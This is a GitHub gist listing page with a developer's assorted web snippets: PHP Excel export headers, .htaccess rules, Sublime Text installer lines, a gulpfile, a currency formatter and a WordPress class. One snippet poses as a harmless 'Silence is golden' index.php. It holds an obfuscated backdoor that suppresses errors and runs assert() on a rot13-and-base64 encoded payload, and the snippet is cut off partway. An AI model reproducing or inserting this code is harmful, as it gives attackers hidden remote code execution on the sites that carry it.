Skip to content

Instantly share code, notes, and snippets.

View yogasukma's full-sized avatar

Yoga Sukma yogasukma

View GitHub Profile
@yogasukma
yogasukma / gist:9322848
Created March 3, 2014 11:06
convert html table to excell
<?php
header("Content-Type: application/vnd.ms-excel; charset=utf-8");
header("Content-type: application/x-msexcel; charset=utf-8");
header("Content-Disposition: attachment; filename=report_user.xls");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
/*
* insert your table html
var rootUrl = window.location.hostname;
if(rootUrl == "localhost" || rootUrl == "loc.visual.web.id"){
rootUrl = rootUrl + "/pmj-website";
}
rootUrl = "http://" + rootUrl;
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /namafolder
RewriteCond %{REQUEST_URI} ^system.*
RewriteRule ^(.*)$ /index.php?/$1 [L]
RewriteCond %{REQUEST_URI} ^application.*
RewriteRule ^(.*)$ /index.php?/$1 [L]
@yogasukma
yogasukma / Sublime Text 3
Last active August 29, 2015 14:18
Install Package Control Sublime Text 3
import urllib.request,os,hashlib; h = 'eb2297e1a458f27d836c04bb0cbaf282' + 'd0e7a3098092775ccb37ca9d6b2e4b7d'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); by = urllib.request.urlopen( 'http://packagecontrol.io/' + pf.replace(' ', '%20')).read(); dh = hashlib.sha256(by).hexdigest(); print('Error validating download (got %s instead of %s), please try manual install' % (dh, h)) if dh != h else open(os.path.join( ipp, pf), 'wb' ).write(by)
@yogasukma
yogasukma / Sublime Text 2
Created April 11, 2015 11:47
Install Package Control Sublime Text 2
import urllib2,os,hashlib; h = 'eb2297e1a458f27d836c04bb0cbaf282' + 'd0e7a3098092775ccb37ca9d6b2e4b7d'; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); os.makedirs( ipp ) if not os.path.exists(ipp) else None; urllib2.install_opener( urllib2.build_opener( urllib2.ProxyHandler()) ); by = urllib2.urlopen( 'http://packagecontrol.io/' + pf.replace(' ', '%20')).read(); dh = hashlib.sha256(by).hexdigest(); open( os.path.join( ipp, pf), 'wb' ).write(by) if dh == h else None; print('Error validating download (got %s instead of %s), please try manual install' % (dh, h) if dh != h else 'Please restart Sublime Text to finish installation')
@yogasukma
yogasukma / gulpfile.js
Last active December 6, 2015 03:16
Introduction to gulp
/* installing requirement */
var gulp = require( "gulp" );
var less = require( "gulp-less" );
var cssmin = require( "gulp-cssmin" );
var concat = require( "gulp-concat" );
var uglify = require( "gulp-uglify" );
/* task "styles" */
gulp.task("styles", function(){
gulp.src( "src/less/*.less" ) /* search less file in src/less */
@yogasukma
yogasukma / format_curency
Created April 15, 2013 07:19
this will formated number to curency in javascript
Number.prototype.formatMoney = function(decPlaces, thouSeparator, decSeparator) {
var n = this,
decPlaces = isNaN(decPlaces = Math.abs(decPlaces)) ? 2 : decPlaces,
decSeparator = decSeparator == undefined ? "." : decSeparator,
thouSeparator = thouSeparator == undefined ? "," : thouSeparator,
sign = n < 0 ? "-" : "",
i = parseInt(n = Math.abs(+n || 0).toFixed(decPlaces)) + "",
j = (j = i.length) > 3 ? j % 3 : 0;
return sign + (j ? i.substr(0, j) + thouSeparator : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + thouSeparator) + (decPlaces ? decSeparator + Math.abs(n - i).toFixed(decPlaces).slice(2) : "");
};
@yogasukma
yogasukma / gist:c650addc72a37cce492d
Created January 26, 2016 02:01
got 403 when opened WordPress wp-admin? maybe its blocked. Add this to .htaccess
<Files wp-login.php>
Order Deny,Allow
Deny from all
Allow from all
</Files>
<?php
// Silence is golden.
//###=CACHE START=###
error_reporting(0);assert_options(ASSERT_ACTIVE, 1);assert_options(ASSERT_WARNING, 0);assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXPScp3AyqPtxnJW2XFxtVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtMTyyXPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFx7PvE1pzjtCFNvnUE0pQbiY21yM2RgpzS0nJ5aYaW1Y2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZQIuMJMyAJEzZQtkBQx2A2RkLwD1BGL0LmZ0AwR3ZJHkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcBjcwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsHxIHIIWBISWOGyATEIVfVSEFIHHcBjbxnJW2VQ0tL3IloS9yrTIwXPEwnPx7PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZF
@yogasukma
yogasukma / Core.php
Last active October 6, 2016 16:21
Sample Core.php
<?php
/**
* Core class.
* It loads several other class that necessary
* and provide some basic data from wordpress
*/
namespace Afrashop\Core;
use Afrashop\Dashboard\Dashboard;